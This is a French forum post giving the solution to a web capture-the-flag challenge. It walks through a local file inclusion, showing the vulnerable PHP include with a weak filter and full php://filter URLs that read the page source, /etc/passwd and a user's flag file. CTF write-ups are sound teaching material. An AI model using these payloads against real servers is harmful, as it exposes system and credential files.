Aller au contenu
View in the app

A better way to browse. Learn more.

Omerta

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

[ SOLUTION] CHALLENGE WEB - LAWYER DOWN

Featured Replies

Posté(e)
  • Admin

Alors voila enfin le temps de la solution :

Pour commencer, il vous fallait trouver une page qui pouvait être exploitable et ça la plupart vous avez réussis, la page est celle-ci :
https://challenge0day.000webhostapp.com/page.php?p=single.php
Vous voyez donc que cette permet à partir d'une page d'en accéder une autre alors la vous pensez tout de suite à une lfi ! (non personne y à pensé x()
Donc à partir d'ici vous allez tester d'accéder à d'autres pages et path mais vous voyez que ce n'est pas possible.
C'est la que le premier indice rentre en jeux, php://wrapper.
Ensuite il ne vous reste plus qu'à encoder la page page.php pour en voir le code source et voir comment elle fonctionne :

https://challenge0day.000webhostapp.com/page.php?p=php://filter/convert.base64-encode/resource=page.php
Vous avez donc ici le code source de la page en base64, allez sur un décodeur en ligne et trouvez le code source.
Vous voyez dans le body ceci:

<?php
        if (isset($_GET["p"]) and $_GET["p"]!="../../etc/passwd") {
            include $_GET["p"];
        }
        else {
            echo "protection against attacker";
            header('Location: index.php');
        }
?>

Vous accédez donc au fichier passwd de la même façon que pour voir le code source de la page : https://challenge0day.000webhostapp.com/page.php?p=php://filter/convert.base64-encode/resource=../../etc/passwd
Vous voyez l'utilisateur matt que l'on recherche et par la même occasion le path de ces fichiers : matlecon:f8fk3j1OIf31.:182:100:Matfamily:/home/matlecon/:/bin/csh
Vous accédez donc à son path + flag.txt de la même façon que toujours : https://challenge0day.000webhostapp.com/page.php?p=php://filter/convert.base64-encode/resource=../../home/matlecon/flag.txt
Et voila, vous avez le flag c'était pas si compliqué que ça ^^.

Merci encore une fois à @JuneDaypour ce merveilleux challenge qui m'auras trigger au début x).

Petit ajout si vous voulez en savoir plus sur les lfi et php wrapper :

 

Créer un compte ou se connecter pour commenter

Account

Navigation

Rechercher

Rechercher

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.